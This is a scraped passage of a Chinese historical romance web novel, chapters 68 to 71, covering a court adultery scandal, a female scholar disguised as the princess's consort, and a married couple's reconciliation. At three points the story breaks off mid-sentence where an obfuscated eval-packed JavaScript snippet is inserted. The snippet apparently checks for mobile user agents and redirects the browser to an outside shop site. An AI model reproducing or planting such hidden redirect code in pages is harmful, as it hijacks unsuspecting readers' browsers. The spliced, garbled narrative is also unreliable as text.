柳烟晴满意地点了点头,然后起身往屋外走去,“既然我柳家无事,我便阿弥陀佛了,至于你们二位的事。 咳,还得你们自己说开才是,我这就去医馆了,你们的药按照原来的方子抓就是,我短些时日管不着你们。” 说罢,柳烟晴便背着手哼着歌走了出去,还贴心给二人关上了门。 萧明渊调整着自己的呼吸,然后快步走到屏风处,在见面前的最后一刻又深呼吸了起来。 只见到梁浅身着素衣躺在榻上,看着雨后窗外屋檐滴落的水滴发呆,察觉到萧明渊的靠近,徐徐转过头来。 “我竟然不知,你是如此话多的人。” 见到女子脸上通红,眼睛像是被这雨洗过一般,萧明渊的心不禁停了半拍。 “那阿浅可是嫌我烦了。” 萧明渊走过来自然地坐在梁浅的身旁,然后抬头看着梁浅的脸,只见梁浅如往常一样,伸手往他身上抬头打来。 萧明渊顺势接住了她的手,又朝她靠近了几分。 梁浅有些傲娇地别过头,“谁知道你说的可是真心话,花言巧语谁不会讲。” “那阿浅想如何证明,唉……我家娘子可是又砍了我,还踹了我一脚,我这身上啊……” “你不是也伤了我。” “是,所以我对不住娘子。” 萧明渊说罢,便轻轻地吻起梁浅的手来,梁浅有些害羞地看着对方,发现想将自己的手抽回来却挣脱不开。 “娘子同我回家好不好?” 萧明渊轻声地问道,梁浅咬了咬嘴唇,然后也轻轻点了点头,萧明渊瞬间眉头舒展了许多,伸手将梁浅抱在自己怀里。 两人如新婚那日一般,驾马回了萧府,萧明渊也是从小门抱着梁浅悄悄地回了房。 萧明渊将梁浅放到床上,梁浅摸着萧明渊的肩膀一脸真诚地发问,“你衣服怎都湿了?” “那娘子帮我换。”萧明渊边说着,便就朝梁浅这边压了过来,“我身上有伤,没有力气。” “无事,那我帮娘子换衣服。” 萧明渊话音刚落,便低头朝梁浅吻来,先是轻轻地亲吻着,见梁浅眼睛也柔软起来,她的手也攀上了自己的脖颈,萧明渊又在次低下头,伸手轻轻解开她的外衣。 而这次吻与以往都不同,带着他的霸道一点一点的探入,两人的鼻息缠绕交织…… “娘子伤可好些了?” “你的伤呢?” “无碍。” …… “娘子,疼不疼。” “嗯,轻些,扯得背上的伤口疼。” …… 于是萧家夫妇这又接连病了好几日,这日张尚书家的小公子大婚,宴席上才终于见到两人现身。 “萧夫人,总算见到你了。”青月长公主梳着妇人的发髻朝梁浅笑盈盈地打着招呼。 “见过长公主殿下,前些日子我与萧大人都生了病,恐冲撞公主的大婚,故此未能及时向公主庆贺大婚之喜,还望公主殿下恕罪。” 青月笑着伏了伏手,“无妨,还是身子要紧,我见夫人今日红光满面的,定是恢复得差不多了。” 梁浅有些害羞地摸了摸自己的脸,然后举起酒杯朝青月这边敬了过来,“还未好好同公主殿下吃一杯酒哩,在此祝公主殿下福寿绵长,心想事成。” 因为梁浅心里知道真正的驸马并非男子,所以暂时也不好说祝新婚快乐之类的词,便有些心虚地敬起酒来。 “多谢萧夫人……”青月有些勉强地笑着回敬着梁浅,梁浅察觉到了她的神色黯淡了起来,“怎么今日只见到公主殿下,驸马可来了?” 青月继续叹着气,然后朝远处指了一下,“自然是跟着来了的,嗯,在那儿。” 梁浅顺着青月指的方向看去,廊下有几位公子正在交谈,而咱的这位驸马爷却神情疲惫,手上被纱布包着,脸上还有一些淤青。 梁浅一惊,心想莫非是公主殿下发现了她的真实身份,然后朝她泄愤?而冯伏芳也只有低声下气求饶的份? 于是梁浅有些焦急地朝公主试探地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一只蝴蝶轻轻落在冯伏芳身前的花朵上,伏芳饶有兴趣地盯着,忽而觉得这蝴蝶的颜色倒是与公主今日的衣裳搭配。 昨夜像是又惹得公主殿下有些不开心了,要不捉一只回去给公主赔罪吧。 此时,冯伏芳终于像她这个年龄的女孩子一样,放松了片刻,一步一步追寻着蝴蝶的踪迹。 可跟着追了老远也没有捉到,正当冯伏芳有些泄气,站在原地看着蝴蝶飞走之时,忽而听到了好像有些人在鼓掌的声音。 莫非这后院也搭了戏台?有些在这里看戏,那自己刚刚不会被人看到了笑话吧。 冯伏芳寻着声音走了过去,结果看到一扇窗户没有关严,好奇心驱使,伏芳探了探头过去。 结果正看到屋子里有两人正颠鸾倒凤,不知天地为何物……那女子,好像就是今日新郎官的嫂嫂? 虽说冯伏芳已经“成婚”了,可是这些时日自己一直躲着公主,从前也没有和哪位男子亲近过,自己今日也是第一回见到这样的事情。 且那女子刚刚不是正在前厅,自己刚刚还和她的丈夫说话,那另外那人定不是他夫君了。 冯伏芳的脑子里飞快的闪过今日的种种,最后得出的结论让自己大吃一惊,在收回脑袋的时候不经意碰到了窗户,里面的人也停下了动作。 “谁?谁在哪儿?” 只听得那男子小心翼翼询问的声音,冯伏芳紧紧捂住自己的嘴不敢发出声响,可是远处像是又传来了一行人走过来的声音。 里面的男子也听到了动静,忙提了裤子朝另一个窗户跳了出去,而那女子也吓得赶紧去收拾自己的衣裳,可还没有出门就被王尚书家的大公子遇到了个正着。 “少爷,奸夫定是还在此处,我等去寻。” 大公子一把将那女子拽了出来,女子知道大事不好只得跪坐在地上哭泣,而冯伏芳正打算偷偷溜走却被管家抓了个正着。 “驸马?竟然是你!” 69. 表明真相 那张尚书家的王大公子一时间气血上涌,想起刚刚驸马还同自己若无其事地说话,此时便跑到后院来与自己的妻子…… 王大公子拿起屋子里一柄装饰的剑就朝驸马这边劈砍过来,冯伏芳吓得连忙四处躲避。 “公子公子,误会啊,与嫂嫂通奸的另有他人,并非是我啊。” 可是王公子此时已经听不见其他话,看着公主殿下对这位驸马也并不上心,自己现在就算砍他两下泄愤应该也是说得过去的。 “他人?他人又在何处,你休得狡辩,看剑!” 冯伏芳用尽全力躲避,而屋里的侍从也就看着他家主子朝冯伏芳劈砍,全然没有想阻拦的意思。 就在冯伏芳不小心跌倒在门口,躲无可躲之时,王公子嘴里还说着,“我今日非砍了你不可。” “谁敢!”青月出声,她身后的侍卫也忙上前制止住王大公子,将自家驸马拉了起来。 “没事罢。”公主朝冯伏芳关心地问道,与刚刚果断霸气的语气全然不同。 冯伏芳艰难地站了起来,朝公主殿下摇了摇头。 “究竟是何事,竟然引得王大公子不由分说就要砍起人来,要知道,公主驸马可是陛下赐婚,驸马爷也是今年的新科状元,王大公子哪里来的权势竟压人至此?” 梁浅站上前来有些愤怒地质问着对方,可王公子虽然被侍卫压着,却始终不为所动。 此时萧明渊也到了,轻声站到了梁浅身后,和梁浅默契对视一眼。 “王公子?今日之事究竟如何?” 王大公子见到萧明渊和自家父亲都过来了,终于将手里紧紧握着的剑丢了下去,“萧大人,父亲,我……” 张尚书到了之后先过去打了大公子一巴掌,“你个不成器的,你闹成如今这模样是干什么?” “还有你!”张尚书又伸手指着跪在地上哭泣的儿媳妇骂着。 见梁浅眉头紧锁,萧明渊也上前去拉了拉张尚书,“王大人,今日还是二公子的婚宴,凡事还是以大局为重。” “是是,萧大人,可如今这奸夫?”张尚书恭敬地朝萧明渊点了点头,又看了看站在公主身后的驸马。 梁浅见状站了出来朝王尚书行礼,“大人,如今现场的奸夫可不止这一个哩。” 众人都朝梁浅这边看了过来,梁浅抬了抬手,月银便拽着一个男子走了出来。 青月眯了眯眼睛,像是认了出来这男子的身份。 “这不是丞相家那个侄子?” 听到这里,萧明渊的眉毛一挑,朝尚书说道:“哦?那今日之事涉及的可就多了,尚书大人。” 王尚书瞬间懂了萧明渊的暗示,如今不仅自己儿子作为惹了公主驸马,现在这奸夫是谁也成了萧大人和丞相要求他表态的事了。 “如此,萧大人既不是这涉及内情之人,又正好是断案好手,那就请萧大人断断案子?” 梁浅见王尚书急得满头大汗,出声说着对策,也是见地上一直在哭的女子心急,怕是留给他家,不问清白与否,这女子就会被打死了。 萧明渊领会了梁浅的意思,与其慢慢等王尚书表态,不如把事态掌握在自己手里。 于是冲着梁浅笑着点了点头,转头来又冷着脸叫人来将地上的丞相侄子和大公子夫人带走了。 那丞相侄子见驸马还同公主殿下站着,便嘴里骂骂咧咧地不服来人的束缚。 萧明渊见状也只有朝公主殿下走了过来,朝公主驸马行礼道:“长公主殿下,既然驸马也有嫌疑,还请驸马也随我走一趟才是。” 青月下意识地护在了冯伏芳的身前,看了看伏芳手上的伤,满脸愁容。 冯伏芳看出了公主的为难,伸出手来握住了青月的手,“无妨,公主,我随他们去一趟就是,我是清白的,我自然不怕……公主也别怕,萧大人是清明之人,定会秉公办案的。” 梁浅听到伏芳说萧明渊是清明之人,不禁撅起嘴来认真思考了起来,他清明? 青月见到冯伏芳的举动有些松动,犹豫了片刻,还是又转身来对着萧明渊和王尚书行礼。 “我明白了,大人,只不过驸马这些日子受了不少伤,刚刚还受了惊吓,还望大人通融,让我给驸马换个药,一会儿我亲自送过去。” 冯伏芳见青月为自己低头,不禁眼里有些泪水在打转,自从兄长走后,还没有一个人这么关心过自己,嗯,好运来的东家和掌柜倒也算。 “公主殿下定是能作保的,这驸马身上的伤势要紧。” 梁浅出声解围道,于是萧明渊也顺水推舟地点了点头,让月银先带着其他人先行离开了。 …… 马车上,青月悉心地给冯伏芳换着伤口的药,虽然动作有些笨拙但是却仔细地吹着伤口。 “公主,我自己来就好,不该让您做这些事的。” 冯伏芳收了收自己的手,有些感激地看着公主。 “你莫要嫌弃我这公主殿下的架子大才好,既然你我是夫妻,这些就是夫妻之间该做的。” “怎会嫌弃公主,公主今日护我,小人感激不尽,更何况人对人没有什么该做不该做,死了都是一捧黄土。” 青月这些时日的相处心里对于冯伏芳也有了初步的判断,加上他初来京城,又怎会与那大公子家的家眷熟识,所以朝他安慰道。 “你也不用担心,我自然相信你是清白的,到了萧大人哪儿,你只管如实说就是,看样子今日王尚书设宴本来就是想拉拢我们的,只是未曾想出了这样的事。” 青月说罢,便低头去整理起药箱,冯伏芳见状,心里挣扎了片刻,还是作出了决定跪到了青月的面前。 “驸马你这是?” “长公主殿下,公主如此良善,小人并非良人,想是耽误了公主的前程,小人有一事相瞒,今无论如何都要将此事告知公主,公主若是生气……任凭公主处罚。” 青月想扶对面的驸马起来,可是驸马一直仍然跪着,见青月收回了手,冯伏芳这才直起身来,然后慢慢将上衣的衣扣解开。 见到对面开始解上衣,青月一下子脸红了起来,忙伸手遮住了自己的眼睛,但是余光仍然忍不住看。 “驸马,这样不好罢,这是在马车上,到时候……你!” 青月余光忽然瞥到了冯伏芳胸口裹着的白布,瞬间就明白了许多,原来驸马一开始的拒绝,到后面不愿与自己亲近,都是这个原因。 “你是女子!你怎么敢如此欺瞒于我!” 青月瞬间感受到自己气血上涌,在宫里这么多年,要说自己最痛恨的,还是被人欺骗,偏偏这个人还是自己成婚以来极其信任的“夫君”。 “小人自知无可辩驳,还请公主殿下责罚。” 冯伏芳又低头朝青月磕着头,自己的脸上没有丝毫畏惧,青月感觉气的头疼,顺手便捡了手边的一个药瓶砸了过去。 那药瓶也正正打在冯伏芳的头上,可是她却没有躲,也没有发出一点声音。 “你!”青月气得说不出话来,此时又不能掀开帘子发火,只得自己抱着手坐在马车里生气。 “公主殿下要打要罚,我冯某人都会受着,萧大人那边也不会连累到公主,届时我只说公主对我不甚满意,已经要同我合离了,无论如何,都不会影响公主声誉。” 冯伏芳抬起头来偷看了一下公主此时的神情,见她还在生气便又低下了头。 而青月也看到了冯伏芳额头上的伤口,又看了看自己刚刚帮他换好药的手,还有她脸上的淤青。 终于青月也是心软了,这个人确实是良善之人,成婚也未曾问我要过什么,也不像其他那些朝中大臣一般心思深沉。 青月深呼吸了半晌,才终于平复了些许心情,伸手将冯伏芳身上的衣服穿了回去。 “别着凉了才是……同我说说罢,你这一路的艰难险阻。” 冯伏芳见到公主淡定的动作和神情才终于也是松了一口气,同青月讲起了自己的身世。 * 而在另外一马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“皇兄曾经有一位青梅竹马,那时父皇也才入京,京城里皇宫里还没有这么多的规矩,他们时常在城里玩耍,可是后来慢慢长大,父皇的子嗣变得多了起来,后宫的人也多了起来。 渐渐地也多了许多许多的规矩,而皇兄也不能常常出宫去寻她,当时萧大人曾是皇兄的陪读,他们关系也很好,可后来萧老将军死于他乡,萧大人也逐渐远离了京城。 后来几位弟弟也争起了皇位,母后本来也想成全皇兄,可是宫里的心机计谋让我们胆寒,若是不得权力,我们都没有什么好下场,这才让皇兄娶了家室更好的当今的皇后嫂嫂。 而那女子从此剃发修行,离了京城,皇兄成了太子后想去再见她一面,可有人暗中刺杀,那女子也就替皇兄挡下了刀,从此香消玉殒。” 青月平静地讲述着这些皇家秘事,若是平常人听了,定是捂住耳朵想这可是掉脑袋的事情,多知道一句就多一份危险,可冯伏芳也只是静静地听着。 “原本我想着若是寻到一个好郎君,是不是我也能有一份与众不同的感情。 可如今我算是看淡了,作为与陛下一母同胞的公主,我不过也是陛下忌惮的势力,也是朝中众人拉拢的对象罢了,我的婚事,也不过是各方权衡利弊得出的结果。” 青月说完,又将冯伏芳扶了起来,“与其等着一个好郎君来让举案齐眉,不如让自己活得开心,新婚那日,你说过的,我对你不满意的话,我的那些公子你也是会好好对待的不是?” 青月抬起了头,眼睛有些红红的,可是此时却满脸笑意地拉起了冯伏芳。 “一言既出驷马难追。” 冯伏芳也感激地笑着,对着青月行礼。 马车停了下来,嬷嬷靠近窗边说道,“公主?太后说让您和驸马进宫一趟。” “嗯,知道了。”青月轻声应着,马车又动了起来,“看来,母后也知道今日之事了,唉,那人消息传得这么快,居然还想将事情闹起来,真是可恶。” 70. 堂前对峙 走到大殿门口,梁浅心里隐隐感到有些不安,“明汐可是要回来了,夫君?” 萧明渊被梁浅突然拉住,愣了一刻,呆呆地点头回道,“是,想必今日就能到京城了。” “那其他的可都准备齐全了?”梁浅有些担心地问。 “放心,娘子,该带的人证物证我都让月银带过来了。” 梁浅点了点头,然后转身朝身后的万星说道,“去城门口等着明汐,明汐一到便直接将她带到这里,若是同行跟着无面,便让无面在萧府等候,随机而动。” 万星拱手应了声是,转身便飞快的往来时的路跑去,而梁浅余光像是瞥见了一个身型很像周玉的人。 进了殿里,皇帝用一种十分慈祥地表情看着两人,一旁的皇后也端庄贤惠地坐着,丞相则站在一旁,全然不将两人放在眼中。 “两位来了,赐座。” “谢陛下。” 两人在丞相的对面坐下,殿里其他下人都退了出去,气氛十分诡异,像是暴风雨前的黎明。 “今日请两位进宫,是听说张尚书家公子的婚宴上出了些事情,丞相大人说恐有损皇家体面,朕想着两位都在场,想必也是知道些内情的。” 皇帝说罢,端起酒来一饮而下,然后带有些期待地眼神看着萧明渊。 萧明渊起身禀报道,“回陛下,今日之事还未有定论,丞相大人说有损皇家体面想必已经将污名定在了驸马头上,然事实并非如此,当场我手下的人还抓到了一个人。” 萧明渊朝皇帝行礼,皇帝点了点头,萧明渊一招手,月银便提着那奸夫上来了。 丞相向下瞥了一眼,嘴里只说着,“这不是我那不成器的干侄子?怎么,萧大人是说,我这侄儿是奸夫?可有证据。” 丞相朝萧明渊这边看过来,气势没有丝毫减弱,那侄子被松了绑,跪在地上哭求着。 “哭什么哭,不成器的,陛下面前怎么容得你放肆。” 丞相见到那小子哭了起来,心里本来就一肚子火,抬脚便朝那人踢了过去。 “丞相大人可别动气,您年纪大了,这样可是会伤着身子的。”皇后出声温柔说着。 “是了,皇后娘娘,听说贵妃娘娘昨日肚子里怀的小皇子近日有些不安稳,皇后娘娘可曾去问过了?” 丞相又转过身,一脸谄媚地朝皇后行礼,可嘴里说的话却让皇后听了顿时脸失了几份神采。 “不安稳找太医,问皇后干嘛,如今面前这事还没有理清楚,丞相莫说些有的没的。”皇帝少有的显现了几份怒气,没好气地对着丞相说着。 皇后见状脸色也和悦了几分,对着萧明渊说道,“既是通奸,那女子可在?” 萧明渊看向月银,月银又转头去将女子提出来,可是同样是用布堵着嘴,和奸夫一样的捆法,梁浅却发觉她的嘴上好像流着血,走路也虚浮许多。 女子跪在地上,月银一把扯出她嘴里的布,可还没有等众人问话,那女子便一口鲜血吐了出来晕在了地上。 萧明渊跟着梁浅忙离了座位上前查看,堂上几人也站了起来,朝这边望着。 梁浅上前看着女子嘴里的血还在流着,可是却没有见咳嗽的动作,于是伸手将女子扶起来。 一旁跪着的干侄子见到这番情景,原本就吓得不轻的他此时更是语无伦次,“这这这”。 梁浅看向女子的嘴,抬头朝众人说道,“有人割了她的舌头。” “叫太医过来。”皇帝站在原地看着,见皇后听到梁浅的话还是惊呼出了声,伸手去扶住了她的肩膀,而丞相则一动不动,站在原地冷冷地看着这一切。 梁浅连忙伸手给女子做着止血,让她俯身将血流出来,防止血呛到喉咙中,自己也悄悄拿起止血的药往女子嘴里撒了一些。 而这些动作都被不远处的丞相尽收眼底,他不经意地眯了眯眼睛,想起了之前的事情。 太医终于来到,月银便帮着将女子抬到一旁医治,就在众人都紧张的时刻,丞相突然走上前来,对着女子问道。 “说!奸夫是谁?” 萧明渊拦住了丞相,恶狠狠地瞪了他一眼,“这女子之罪,可陛下还未定罪,怎么丞相大人就着急起来了?” 女子用尽力气想伸手指着什么,可是却才将手抬了起来便无力地晕了过去,像是还没有指到一旁的人便失去了力气,顺着她最后手指的方向,正好此时太后带着公主驸马正走了进来。 众人皆是一惊,梁浅见状,朝皇帝跪下说道:“陛下,这女子此时神智不清,想必做不得证啊。” 丞相不屑一笑,“要证人作证却又不信她的话,真不知道萧大人家是怎么断案的。” 丞相说罢,便转身去打算将他跪在地上的干侄子拉起来,“既然不是你,就快起来罢。” 太后见到这番情景,刚刚在女儿面前压抑许久的情绪终于控制不住,大步走上前来,朝臣相的脸上就是一巴掌。 “妹妹这是作甚。”丞相捂着自己的脸不敢相信地看着太后。 “谁是你妹妹!” 众人都以为太后这话只不过是她的一句气话,萧明渊和梁浅心里却清楚,这并非假话。 太后转身便去了上座落座,皇帝皇后也连忙行礼。 “如今事情已经明了,这女子都指认了,我这干侄儿可是清白的,莫非陛下还要是非不分?”丞相还在对众人狡辩着。 皇帝沉默了片刻,看了看气得脸通红的丞相,无奈说着,“舅舅身子不适,先下去休息罢。” 说罢皇帝伏了伏手,让他出去,可是丞相依旧不动,听到这话,还觉得自己受到了挑衅。 “陛下你也知道,我可是你舅舅,舅舅说的话你都不信?” 皇帝眯了眯眼睛,梁浅看到他眼里闪过一丝杀气,看了看一旁的太后,瞬间又压抑了下去。 萧明渊见此时正是时机,太后像是也决心要同丞相割席,忙跪了下去,“陛下,微臣有一事禀报,恐涉及皇家秘辛……” 皇帝瞬间明白了他的意思,点了点头,“其他无干的人都下去罢,萧大人但说无妨。” 太医跟着侍从将晕倒的人抬了下去,月银也压着奸夫离开,梁浅和驸马都想走,却被皇帝拦了下来。 “其余都是家里人,不必回避。” 丞相一脸疑惑地看着萧明渊,心里着急,却想不出他能知道的皇家秘辛是什么,只能坐在位子上干着急。 萧明渊从怀里将丞相太后的不同户籍供词都递给了皇帝,皇帝徐徐展开,倒是并不吃惊地样子,深吸了一口气,将东西递给了太后。 “母后,这就是自我登基之后你同丞相对立的原因?” 太后见到供词的第一眼便看不下去,将文书按在桌上,用力揉着自己的头。 “母后累了,皇后送母后回宫休息罢。” 皇后虽然没有看到文书的内容是什么,但是看两人的脸色自然猜出想必是什么不得了的事情,应了声便扶着太后起身。 太后也明白,自己这些年也纵容了不少事,皇帝如今还念着母子情分不同自己计较,已经算逃过一劫了,便起身走了下来。 丞相见到太后的表情也吓得赶紧站了起来,于是在太后从他身边走过的时候,他的耳边传来一句话,“如今,谁都保不了你了。” 太后走后,丞相还愣在原地,转身看着青月和驸马,愤怒地指着冯伏芳说道:“陛下可不要因为他是驸马就徇私啊,这可是皇家颜面。” 冯伏芳看着丞相狰狞的表情,恭恭敬敬地跪了下来,对着陛下磕头行礼,“小人以身起誓,并非奸夫,小人实乃证人,亲眼见到丞相的好侄子和那女子私通。” “证人?张着嘴谁不会说!” 青月瞥了丞相一眼,也跟着跪了下来,“本公主愿为驸马作保。” “你是他妻子,为他作保有何作用。” 梁浅看着这一切,仿佛自己能深切体会到冯伏芳此刻的心情,深陷其中,却不得自证。 忽而梁浅见到冯伏芳像是下定决心一般,伸手拉了拉公主,然后对公主轻声说道:“多谢公主,公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128969|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮了我太多,此等恩情小人想必只有来世再还了。” 说罢,青月看出了她想做什么,想伸手去拦住她,可她话已经出口了。 冯伏芳顾不得去看青月脸上惊讶的表情,又俯身跪下去磕头,“请陛下治小人欺君之罪!” 梁浅有些不忍心看下去,皇帝一脸疑惑,朝前走了走,“欺君?莫非那奸夫当真是你。” “小人并非奸夫,实乃小人能证明清白的关键之事,却正是欺瞒了陛下。” 冯伏芳说罢,便直起了身子,伸手拔下了自己头上的发簪,她的头发如瀑布般搭在了她的肩膀上。 “小女原名冯伏芳,冯伏嘉乃是我兄长,兄长不幸染病离了人世,为遂了他的心愿,小女这才女扮男装进京,请陛下治罪!” 冯伏芳又朝皇帝磕着头,身旁的青月却忍不住哭了起来,而丞相更是惊讶地合不拢嘴来。 冯伏芳的头发跟着塌在地上,梁浅在一边看着,她像是一只折翼的蝴蝶,平静地接受着她的结局。 丞相顿时呆在了原地,原是想不仅救下侄子,还能拖公主下水,可没有想到这人竟然是女子,顿时就将公主摘了出去,如今定了罪,也不过只死她一人,对面势力丝毫没有减弱。 丞相未意识到自己现在只是困兽之斗,又转身看到萧明渊和梁浅,便伸手指着对面,“陛下,这对夫妇本来就是弄虚作假的,他们说的话有什么可信,这女子……” 梁浅见状立刻跪了下来,打断了丞相的话,“陛下,丞相大人是说我们夫妇的感情弄虚作假,确实如此,我们实际相看两厌,做不得夫妻了,故此今日,也是来禀报陛下,我们两人决议合离。” 萧明渊听到这话,脸上的表情像是被冻住了一样,半天才从嗓子里轻声挤出一句话,“阿浅。” 梁浅垂着眸子,不敢去看萧明渊的表情,只是听到这两个字后又下定了决心朝皇帝行礼。 丞相要说的话被这样一打断只好吞了回去,“好,好,好,好得很,你们一个二个的,陛下,那这位欺君之罪的,您难道不处置?” 丞相瞪大了眼睛,朝着冯伏芳狠狠指着。 青月见到这番情景,忙跪着冲了上去,抱住皇帝的腿说道:“皇兄,这冯伏芳虽有欺瞒之意,可她为兄有情有义,自己也有真才实学,今年更是在丞相扰乱科举的情形下,从寒门脱颖而出,若是她死了,岂不是寒了天下读书人的心。 皇兄,且不说您已然考察过,她也是有真本事的,心里也想为朝廷做事,为百姓做事,既是人才,又何必管他是男是女。” 皇帝看着公主这般央求,脸上既有心疼,也有对冯伏芳的愤怒,可是仿佛他的目的还没有达到一样,迟迟没有松口。 公主哭得抽泣起来,俯身朝皇帝磕着头,“若皇兄愿意放过冯伏芳,我愿意跟随驸马远离京城,再不参扰京中事务,求陛下成全。” 冯伏芳见到公主这番样子,也泣不成声,跟着跪了下去。 “陛下,您不能就这样放过她们啊。”丞相突然打断,还在一旁焦急地看着皇帝,迟迟等不到自己满意的答案。 皇帝见公主这样已经心软许多,眉眼都展开了,突然听到丞相的话,脸瞬间黑了下去,先将公主扶了起来,然后皱着眉头看向丞相。 “既然丞相大人与我母后并无血缘,这是我们皇家的家事,就不劳烦您在此了,来人啊,送丞相大人回府。” 门口的侍卫闻声冲了进来,将丞相扶着请了出去,丞相见状气急败坏,朝着萧明渊吐着口水,嘴里还嚷嚷着。 “你萧明渊如今也不过是困兽之斗,一个小小文官,无权无势,下一个就是你!” 萧明渊和梁浅表情丝毫没有变化,而当丞相骂骂咧咧走出来之时,便见到迎面走来一个女子。 那女子身着铠甲,一脸英气,步履生风,见了他还拱手行了礼才往前走去。 就在丞相瞪大双眼,一脸难以置信地时候,听到殿门口的太监朝里面通报。 “明将军求见陛下,陛下万岁万岁万万岁。” 71. 离开之前 “原来明将军就是萧家的小姐,真是令人意想不到。” 终于结束了今日的闹剧,长公主此时看着明汐感叹道。 “这些日子忙得紧,竟想不到公主已经大婚了,在此恭祝……” 公主连忙将明汐拉了起来,“好好好,不说了,我们就先回府了,改日再见。” 说罢冯伏芳便与公主互相扶着离开了,青月转身看了看自己从小长大的皇宫,又跪着朝自己母后的宫殿磕着头。 “伏芳,如此这般,你可会后悔?” “不会,当一个小小县令也算能为当地百姓做些事了,只是委屈了公主。” “不委屈,我将公主府搬过去就好。”青月看着远处同冯伏芳开着玩笑,“你说外面的天地会比这里的天地更广阔吗?” 冯伏芳顺着青月的视线抬头看去,“是,公主,我一路进京,京城虽繁华,可却不及外面的山水,今后,我带着公主去看更广阔的风景。” 青月点了点头,冲着冯伏芳笑着,伏芳突然想到了什么,“往后日子长了,若是公主与府上的公子有了子嗣,挂在我名下我自然是认的。” 冯伏芳一脸严肃,青月却没好气地往前走去,“我说了,那些公子只是我们兴趣相投,哪有你说的……” 冯伏芳抱着自己包的像粽子一样的手探过脑袋,只见到公主脸上被她说得有些红了,于是伏芳也调侃了起来,“真的?” 两人就这样一路打打闹闹出宫回了公主府,几人分别后,梁浅也转过身拉住明汐的手问道。 “这些日子可好,可有没有饿着冻着伤着?” 明汐也笑着去拉梁浅,“放心,姐姐,我都受得住。” 梁浅点了点头,萧明渊便见缝插针地问道:“刚陛下叫我们都退了,同你说了些什么。” 明汐的表情突然变得耐人寻味起来,“不过就是说了些战事,其他嘛,还给我许了一家婚事。” 萧明渊正扶着梁浅上马车,听到这话,吃惊得僵在了原地,“婚事?” “嗯,说是什么在京郊的陈家,到时候让他入赘就是。” 明汐仿佛很淡定的样子,和对面的两口子形成了鲜明的对比,“那陈家不是独有一个公子在嘛,说是还是个病秧子。” 萧明渊黑着脸补充道:“不仅如此,他家还是当年的开朝定都的叛臣人家,现在这一脉当时又卖了本家朝先帝投诚,这才留了性命,说是在京,其实也是监视罢了。” 梁浅听到这里,突然懂了明汐的意思,伸手拍了拍萧明渊问道:“那那位陈家公子岂不是从未与他人谋面?” 萧明渊看着梁浅,“嗯,确实如此,京中各事倒也未见过他,虽说他家里是经商的,如今坐吃山空都不愁,可确实并非一位良配,陛下也是想借此牵制与你……” 看着萧明渊一脸认真,而梁浅和明汐则相视一笑,梁浅开口问道:“那小无面混得如何呀?” 明汐顿时羞红了脸,支支吾吾地回答着,“嗯,还好吧,做事,也算勤恳,上战场,也算能拼,虽然比不上我,倒也升了些职。” “那你们可常见?” “不忙的时候嘛,他常来寻我,他说李将军管他管得严,要他每回得了赏才会许他半日假,他便会来寻我,我们会骑着马去吹着风,也会去镇上的酒肆喝酒,时不时还比比射箭……” 梁浅满脸笑容地听着,可一旁的萧明渊却嗤之以鼻,“他最好有些本事,否则……” 梁浅看着萧明渊捏起的拳头,赶紧伸手去顺毛,“妹妹还在这里,你别太吓人了。” 看到梁浅带有威胁的眼神,萧明渊瞬间放松了手,乖乖地坐在一旁自顾自生着闷气。 * 回了萧府,梁浅正坐在梳妆台前卸着钗环,萧明渊则才沐浴了回来。 “明日,我便将丞相的罪证公之于众,别样红的口供,王家,丞相府,他这次终于……” “嗯,好,那想必明日赐婚的圣旨也就下来了。” 萧明渊眉头一抬,带有些玩笑地语气说:“说起来,某人不是要与我合离?” 梁浅正梳着头发的手顿住了,眼眸垂了下去,犹豫了半天才说:“我,我去沐浴。” 梁浅才站起身往外走去,萧明渊便从身后抱了上来,委屈巴巴地说道:“莫非是真的娘子要弃了我。” “人没有谁弃了谁这样的说法,离了对方,我们都能活,不是吗?” 萧明渊将梁浅又抱得紧了些,固执地说着,“我不行,我没了娘子不能活。” 梁浅无奈地笑出了声,转过身来捧着他的脸,萧明渊看着梁浅问道:“你也心悦于我,对吗?” 梁浅笑着点头嗯了一声。 “那为什么相爱的人不在一起。” “阿渊,这里不属于我。” “为什么?这府里只有你我,若是有什么烦心事,只管我来,我心悦于你,想时时刻刻于你在一起,想一生一世一双人。” “我也想与你一生一世一双人,可我是一个为了生计做遍脏事的刺客,见不得光,我也不习惯这京城中的尔虞我诈。” “我会护着你,如今丞相已然大厦将倾,我们……” “没有他,还会有新的丞相,还有皇帝,还有隐藏在暗中的许多人,这停不了,阿渊。” “那我便夺了……” 梁浅摇了摇头,打断了他的话,“在这府中也好,去了宫里也好,时日久了,我若是所谓没有生养或是没有操持好这家,萧家,你,皇帝,谁又会放过,我们又怎么一生一世一双人。” 梁浅很清楚自己不是这个时代定义的标准的贤妻良母,可自己也不像成为这“贤妻娘母”,她明白萧明渊的野心,若是他想,筹谋之下,他也能做到,可那时候,自己又听他说什么三千弱水只取一瓢的话吗。 既然要离开,就在这一切还没有发生的时候,她还爱着他的时候离开罢。 梁浅轻轻抚摸着他的脸,萧明渊眼里先是不解,后来慢慢变得落寞,低头靠在她的肩头。 “好了,我要去沐浴了。” “嗯,你还会回来吗?” “嗯,今天会。” 